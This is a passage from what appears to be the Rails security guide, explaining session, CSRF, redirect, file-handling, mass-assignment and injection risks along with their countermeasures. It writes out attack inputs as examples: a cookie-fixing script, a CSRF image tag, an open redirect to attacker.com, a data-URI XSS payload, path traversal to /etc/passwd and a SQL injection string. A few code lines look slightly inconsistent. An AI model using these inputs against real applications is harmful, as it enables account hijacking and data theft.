exploits aim at obtaining the user's cookie. You'll read more about XSS later. - -* Instead of stealing a cookie unknown to the attacker, he fixes a user's session identifier (in the cookie) known to him. Read more about this so-called session fixation later. - -The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10–$1000 (depending on the available amount of funds), $0.40–$20 for credit card numbers, $1–$8 for online auction site accounts and $4–$30 for email passwords, according to the "Symantec Global Internet Security Threat Report":http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf. - -h4. Session Guidelines - --- _Here are some general guidelines on sessions._ - -* _(highlight)Do not store large objects in a session_. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below). -This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user's cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate. - -* _(highlight)Critical data should not be stored in session_. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data. - - -h4. Session Storage - --- _Rails provides several storage mechanisms for the session hashes. The most important are ActiveRecordStore and CookieStore._ - -There are a number of session storages, i.e. where Rails saves the session hash and session id. Most real-live applications choose ActiveRecordStore (or one of its derivatives) over file storage due to performance and maintenance reasons. ActiveRecordStore keeps the session id and hash in a database table and saves and retrieves the hash on every request. - -Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it: - -* Cookies imply a strict size limit of 4kB. This is fine as you should not store large amounts of data in a session anyway, as described before. _(highlight)Storing the current user's database id in a session is usually ok_. - -* The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, _(highlight)you don't want to store any secrets here_. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie. - -That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So _(highlight)don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters_. Put the secret in your environment.rb: - - -config.action_controller.session = { - :key => '_app_session', - :secret => '0x0dkfj3927dkc7djdh36rkckdfzsg...' -} - - -There are, however, derivatives of CookieStore which encrypt the session hash, so the client cannot see it. - -h4. Replay Attacks for CookieStore Sessions - --- _Another sort of attack you have to be aware of when using CookieStore is the replay attack._ - -It works like this: - -* A user receives credits, the amount is stored in a session (which is a bad idea anyway, but we'll do this for demonstration purposes). -* The user buys something. -* His new, lower credit will be stored in the session. -* The dark side of the user forces him to take the cookie from the first step (which he copied) and replace the current cookie in the browser. -* The user has his credit back. - -Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database). - -The best _(highlight)solution against it is not to store this kind of data in a session, but in the database_. In this case store the credit in the database and the logged_in_user_id in the session. - -h4. Session Fixation - --- _Apart from stealing a user's session id, the attacker may fix a session id known to him. This is called session fixation._ - -!images/session_fixation.png(Session fixation)! - -This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works: - -# The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image). -# He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive. -# Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: +<script>
document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";
</script>+. Read more about XSS and injection later on. -# The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id. -# As the new trap session is unused, the web application will require the user to authenticate. -# From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack. - -h4. Session Fixation – Countermeasures - --- _One line of code will protect you from session fixation._ - -The most effective countermeasure is to _(highlight)issue a new session identifier_ and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails: - - -reset_session - - -If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, _(highlight)you have to transfer them to the new session_. - -Another countermeasure is to _(highlight)save user-specific properties in the session_, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. _(highlight)These might change over the course of a session_, so these users will not be able to use your application, or only in a limited way. - -h4. Session Expiry - --- _Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation._ - -One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _(highlight)expire sessions in a database table_. Call +Session.sweep("20m")+ to expire sessions that were used longer than 20 minutes ago. - - -class Session < ActiveRecord::Base - def self.sweep(time_ago = nil) -
 time = case time_ago -
 when /^(\d+)m$/ then Time.now - $1.to_i.minute -
 when /^(\d+)h$/ then Time.now - $1.to_i.hour -
 when /^(\d+)d$/ then Time.now - $1.to_i.day -
 else Time.now - 1.hour -
 end -
 self.delete_all "updated_at < '#{time.to_s(:db)}'" -
 end -
end - - -The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above: - - -self.delete_all "updated_at < '#{time.to_s(:db)}' OR - created_at < '#{2.days.ago.to_s(:db)}'" - - -h3. Cross-Site Request Forgery (CSRF) - --- _This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands._ - -!images/csrf.png! - -In the session chapter you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let's start with an example: - -* Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file. -* +<img src="http://www.webapp.com/project/1/destroy">+ -* Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago. -* By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id. -* The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image. -* Bob doesn't notice the attack -- but a few days later he finds out that project number one is gone. - -It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere – in a forum, blog post or email. - -CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) -- less than 0.1% in 2006 -- but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work – _(highlight)CSRF is an important security issue_. - -h4. CSRF Countermeasures - --- _First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF._ - -The HTTP protocol basically provides two main types of requests - GET and POST (and more, but they are not supported by most browsers). The World Wide Web Consortium (W3C) provides a checklist for choosing HTTP GET or POST: - -*Use GET if:* - -* The interaction is more _(highlight)like a question_ (i.e., it is a safe operation such as a query, read operation, or lookup). - -*Use POST if:* - -* The interaction is more _(highlight)like an order_, or -* The interaction _(highlight)changes the state_ of the resource in a way that the user would perceive (e.g., a subscription to a service), or -* The user is _(highlight)held accountable for the results_ of the interaction. - -If your web application is RESTful, you might be used to additional HTTP verbs, such as PUT or DELETE. Most of today‘s web browsers, however do not support them - only GET and POST. Rails uses a hidden +_method+ field to handle this barrier. - -_(highlight)The verify method in a controller can make sure that specific actions may not be used over GET_. Here is an example to verify the use of the transfer action over POST. If the action comes in using any other verb, it redirects to the list action. - - -verify :method => :post, :only => [:transfer], :redirect_to => {:action => :list} - - -With this precaution, the attack from above will not work, because the browser sends a GET request for images, which will not be accepted by the web application. - -But this was only the first step, because _(highlight)POST requests can be sent automatically, too_. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request. - - -To the harmless survey - - -Or the attacker places the code into the onmouseover event handler of an image: - - - - - -There are many other possibilities, including Ajax to attack the victim in the background.
The _(highlight)solution to this is including a security token in non-GET requests_ which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller: - - -protect_from_forgery :secret => "123456789012345678901234567890..." - - -This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won't need the secret, if you use CookieStorage as session storage. It will raise an ActionController::InvalidAuthenticityToken error, if the security token doesn't match what was expected. - -Note that _(highlight)cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read more about XSS later. - -h3. Redirection and Files - -Another class of security vulnerabilities surrounds the use of redirection and files in web applications. - -h4. Redirection - --- _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack._ - -Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to= www.attacker.com. Here is an example of a legacy action: - - -def legacy - redirect_to(params.update(:action=>'main')) -end - - -This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the URL: - - -http://www.example.com/site/legacy?param1=xy¶m2=23&host=www.attacker.com - - -If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to _(highlight)include only the expected parameters in a legacy action_ (again a whitelist approach, as opposed to removing unexpected parameters). _(highlight)And if you redirect to an URL, check it with a whitelist or a regular expression_. - -h5. Self-contained XSS - -Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images: - -+data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K+ - -This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, _(highlight)do not allow the user to supply (parts of) the URL to be redirected to_. - -h4. File Uploads - --- _Make sure file uploads don't overwrite important files, and process media files asynchronously._ - -Many web applications allow users to upload files. _(highlight)File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user. - -When filtering user input file names, _(highlight)don't try to remove malicious parts_. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “....//” - the result will be “../”. It is best to use a whitelist approach, which _(highlight)checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the "attachment_fu plugin":http://github.com/technoweenie/attachment_fu/tree/master: - - -def sanitize_filename(filename) - returning filename.strip do |name| - # NOTE: File.basename doesn't work right with Windows paths on Unix - # get only the filename, not the whole path - name.gsub! /^.*(\\|\/)/, '' - # Finally, replace all non alphanumeric, underscore - # or periods with underscore - name.gsub! /[^\w\.\-]/, '_' - end -end - - -A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its _(highlight)vulnerability to denial-of-service attacks_. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server. - -The solution to this is best to _(highlight)process media files asynchronously_: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background. - -h4. Executable Code in File Uploads - --- _Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails' /public directory if it is Apache's home directory._ - -The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file “file.cgi” with code in it, which will be executed when someone downloads the file. - -_(highlight)If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it_, store files at least one level downwards. - -h4. File Downloads - --- _Make sure users cannot download arbitrary files._ - -Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded: - - -send_file('/var/www/uploads/' + params[:filename]) - - -Simply pass a file name like “../../../etc/passwd” to download the server's login information. A simple solution against this, is to _(highlight)check that the requested file is in the expected directory_: - - -basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files')) -filename = File.expand_path(File.join(basename, @file.public_filename)) -raise if basename =! - File.expand_path(File.join(File.dirname(filename), '../../../')) -send_file filename, :disposition => 'inline' - - -Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way. - -h3. Intranet and Admin Security - --- _Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world._ - -In 2007 there was the first tailor-made trojan which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.
 - -*XSS* If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS. - -Having one single place in the admin interface or Intranet, where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer. - -Refer to the Injection section for countermeasures against XSS. It is _(highlight)recommended to use the SafeErb plugin_ also in an Intranet or administration interface. - -*CSRF* Cross-Site Reference Forgery (CSRF) is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface. - -A real-world example is a "router reconfiguration by CSRF":http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen. - -Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.
 - -Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination. - -For _(highlight)countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section_. - -h4. Additional Precautions - -The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this: - -* It is very important to _(highlight)think about the worst case_: What if someone really got hold of my cookie or user credentials. You could _(highlight)introduce roles_ for the admin interface to limit the possibilities of the attacker. Or how about _(highlight)special login credentials_ for the admin interface, other than the ones used for the public part of the application. Or a _(highlight)special password for very serious actions_? - -* Does the admin really have to access the interface from everywhere in the world? Think about _(highlight)limiting the login to a bunch of source IP addresses_. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though. - -* _(highlight)Put the admin interface to a special sub-domain_ such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa. - -h3. Mass Assignment - --- _Without any precautions Model.new(params[:model]) allows attackers to set any database column's value._ - -The mass-assignment feature may become a problem, as it allows an attacker to set any model's attributes by manipulating the hash passed to a model's +new()+ method: - - -def signup - params[:user] #=> {:name => “ow3ned”, :admin => true} - @user = User.new(params[:user]) -end - - -Mass-assignment saves you much work, because you don't have to set each value individually. Simply pass a hash to the new() method, or assign attributes=(attributes) a hash value, to set the model's attributes to the values in the hash. The problem is that it is often used in conjunction with the parameters (params) hash available in the controller, which may be manipulated by an attacker. He may do so by changing the URL like this: - -
    -"name":http://www.example.com/user/signup?user=ow3ned&user[admin]=1
    -
    - -This will set the following parameters in the controller: - - -params[:user] #=> {:name => “ow3ned”, :admin => true} - - -So if you create a new user using mass-assignment, it may be too easy to become an administrator. - -Note that this vulnerability is not restricted to database columns. Any setter method, unless explicitly protected, is accessible via the attributes= method. In fact, this vulnerability is extended even further with the introduction of nested mass assignment (and nested object forms) in rails 2.3. The +accepts_nested_attributes_for+ declaration provides us the ability to extend mass assignment to model associations (+has_many+, +has_one+, +has_and_belongs_to_many+). For example: - - - class Person < ActiveRecord::Base - has_many :credits - - accepts_nested_attributes_for :children - end - - class Child < ActiveRecord::Base - belongs_to :person - end - - -As a result, the vulnerability is extended beyond simply exposing column assignment, allowing attackers the ability to create entirely new records in referenced tables (children in this case). - -h4. Countermeasures - -To avoid this, Rails provides two class methods in your Active Record class to control access to your attributes. The +attr_protected+ method takes a list of attributes that will not be accessible for mass-assignment. For example: - - -attr_protected :admin - - -A much better way, because it follows the whitelist-principle, is the +attr_accessible+ method. It is the exact opposite of +attr_protected+, because _(highlight)it takes a list of attributes that will be accessible_. All other attributes will be protected. This way you won't forget to protect attributes when adding new ones in the course of development. Here is an example: - - -attr_accessible :name - - -If you want to set a protected attribute, you will to have to assign it individually: - - -params[:user] #=> {:name => "ow3ned", :admin => true} -@user = User.new(params[:user]) -@user.admin #=> false # not mass-assigned -@user.admin = true -@user.admin #=> true - - -A more paranoid technique to protect your whole project would be to enforce that all models whitelist their accessible attributes. This can be easily achieved with a very simple initializer: - - -ActiveRecord::Base.send(:attr_accessible, nil) - - -This will create an empty whitelist of attributes available for mass assignment for all models in your app. As such, your models will need to explicitly whitelist accessible parameters by using an +attr_accessible+ declaration. This technique is best applied at the start of a new project. However, for an existing project with a thorough set of functional tests, it should be straightforward and relatively quick to insert this initializer, run your tests, and expose each attribute (via +attr_accessible+) as dictated by your failing tests. - -h3. User Management - --- _Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure._ - -There are some authorization and authentication plug-ins for Rails available. A good one saves only encrypted passwords, not plain-text passwords. The most popular plug-in is +restful_authentication+ which protects from session fixation, too. However, earlier versions allowed you to login without user name and password in certain circumstances. - -Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator): - - -http://localhost:3006/user/activate -http://localhost:3006/user/activate?id= - - -This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action: - - -User.find_by_activation_code(params[:id]) - - -If the parameter was nil, the resulting SQL query will be - - -SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1 - - -And thus it found the first user in the database, returned it and logged him in. You can find out more about it in "my blog post":http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/. _(highlight)It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this. - -h4. Brute-Forcing Accounts - --- _Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA._ - -A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user name's and a dictionary, an automatic program may find the correct password in a matter of minutes. - -Because of this, most web applications will display a generic error message “user name or password not correct”, if one of these are not correct. If it said “the user name you entered has not been found”, an attacker could automatically compile a list of user names. - -However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts. - -In order to mitigate such attacks, _(highlight)display a generic error message on forgot-password pages, too_. Moreover, you can _(highlight)require to enter a CAPTCHA after a number of failed logins from a certain IP address_. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack. - -h4. Account Hijacking - --- _Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?_ - -h5. Passwords - -Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _(highlight)make change-password forms safe against CSRF_, of course. And _(highlight)require the user to enter the old password when changing it_. - -h5. E-Mail - -However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _(highlight)require the user to enter the password when changing the e-mail address, too_. - -h5. Other - -Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in "Google Mail":http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _(highlight)review your application logic and eliminate all XSS and CSRF vulnerabilities_. - -h4. CAPTCHAs - --- _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not to ask a user to proof that he is human, but reveal that a robot is a robot._ - -But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is "reCAPTCHA":http://recaptcha.net/ which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. "ReCAPTCHA":http://ambethia.com/recaptcha/ is also a Rails plug-in with the same name as the API. - -You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails. -The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot. - -Most bots are really dumb, they crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript. - -Here are some ideas how to hide honeypot fields by JavaScript and/or CSS: - -* position the fields off of the visible area of the page -* make the elements very small or colour them the same as the background of the page -* leave the fields displayed, but tell humans to leave them blank - -The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too. - -You can find more sophisticated negative CAPTCHAs in Ned Batchelder's "blog post":http://nedbatchelder.com/text/stopbots.html: - -* Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid. -* Randomize the field names -* Include more than one honeypot field of all types, including submission buttons - -Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So _(highlight)negative CAPTCHAs might not be good to protect login forms_. - -h4. Logging - --- _Tell Rails not to put passwords in the log files._ - -By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers et cetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can _(highlight)filter certain request parameters from your log files_ by the filter_parameter_logging method in a controller. These parameters will be marked [FILTERED] in the log. - - -filter_parameter_logging :password - - -h4. Good Passwords - --- _Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence._ - -Bruce Schneier, a security technologist, "has analysed":http://www.schneier.com/blog/archives/2006/12/realworld_passw.html 34,000 real-world user names and passwords from the MySpace phishing attack mentioned earlier. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are: - -password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1, and monkey. - -It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today's passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked. - -A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the _(highlight)first letters of a sentence that you can easily remember_. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too. - -h4. Regular Expressions - --- _A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z._ - -Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Imagine you have a File model and you validate the file name by a regular expression like this: - - -class File < ActiveRecord::Base - validates_format_of :name, :with => /^[\w\.\-\+]+$/ -end - - -This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added \^ and $ so that file name will contain these characters from the beginning to the end of the string. However, _(highlight)in Ruby ^ and $ matches the *line* beginning and line end_. And thus a file name like this passes the filter without problems: - - -file.txt%0A - - -Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n<script>alert('hello')</script>". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read: - - -/\A[\w\.\-\+]+\z/ - - -h4. Privilege Escalation - --- _Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it._ - -The most common parameter that a user might tamper with, is the id parameter, as in +":id":http://www.domain.com/project/1+, whereas 1 is the id. It will be available in params in the controller. There, you will most likely do something like this: - - -@project = Project.find(params[:id]) - - -This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, _(highlight)query the user's access rights, too_: - - -@project = @current_user.projects.find(params[:id]) - - -Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, _(highlight)no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated_. - -Don‘t be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. _(highlight)JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values_. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet. - -h3. Injection - --- _Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection._ - -Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection. - -h4. Whitelists versus Blacklists - --- _When sanitizing, protecting or verifying something, whitelists over blacklists._ - -A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although, sometimes it is not possible to create a whitelist (in a SPAM filter, for example), _(highlight)prefer to use whitelist approaches_: - -* Use before_filter :only => [...] instead of :except => [...]. This way you don't forget to turn it off for newly added actions. -* Use attr_accessible instead of attr_protected. See the mass-assignment section for details -* Allow <strong> instead of removing <script> against Cross-Site Scripting (XSS). See below for details. -* Don't try to correct user input by blacklists: -** This will make the attack work: "<sc<script>ript>".gsub("<script>", "") -** But reject malformed input - -Whitelists are also a good approach against the human factor of forgetting something in the blacklist. - -h4. SQL Injection - --- _Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem._ - -h5. Introduction - -SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query: - - -Project.find(:all, :conditions => "name = '#{params[:name]}'") - - -This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1=1', the resulting SQL query will be: - - -SELECT * FROM projects WHERE name = '' OR 1 --' - - -The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records. - -h5. Bypassing Authorization - -Usually a web application includes access control. The user enters his login credentials, the web applications tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user. - - 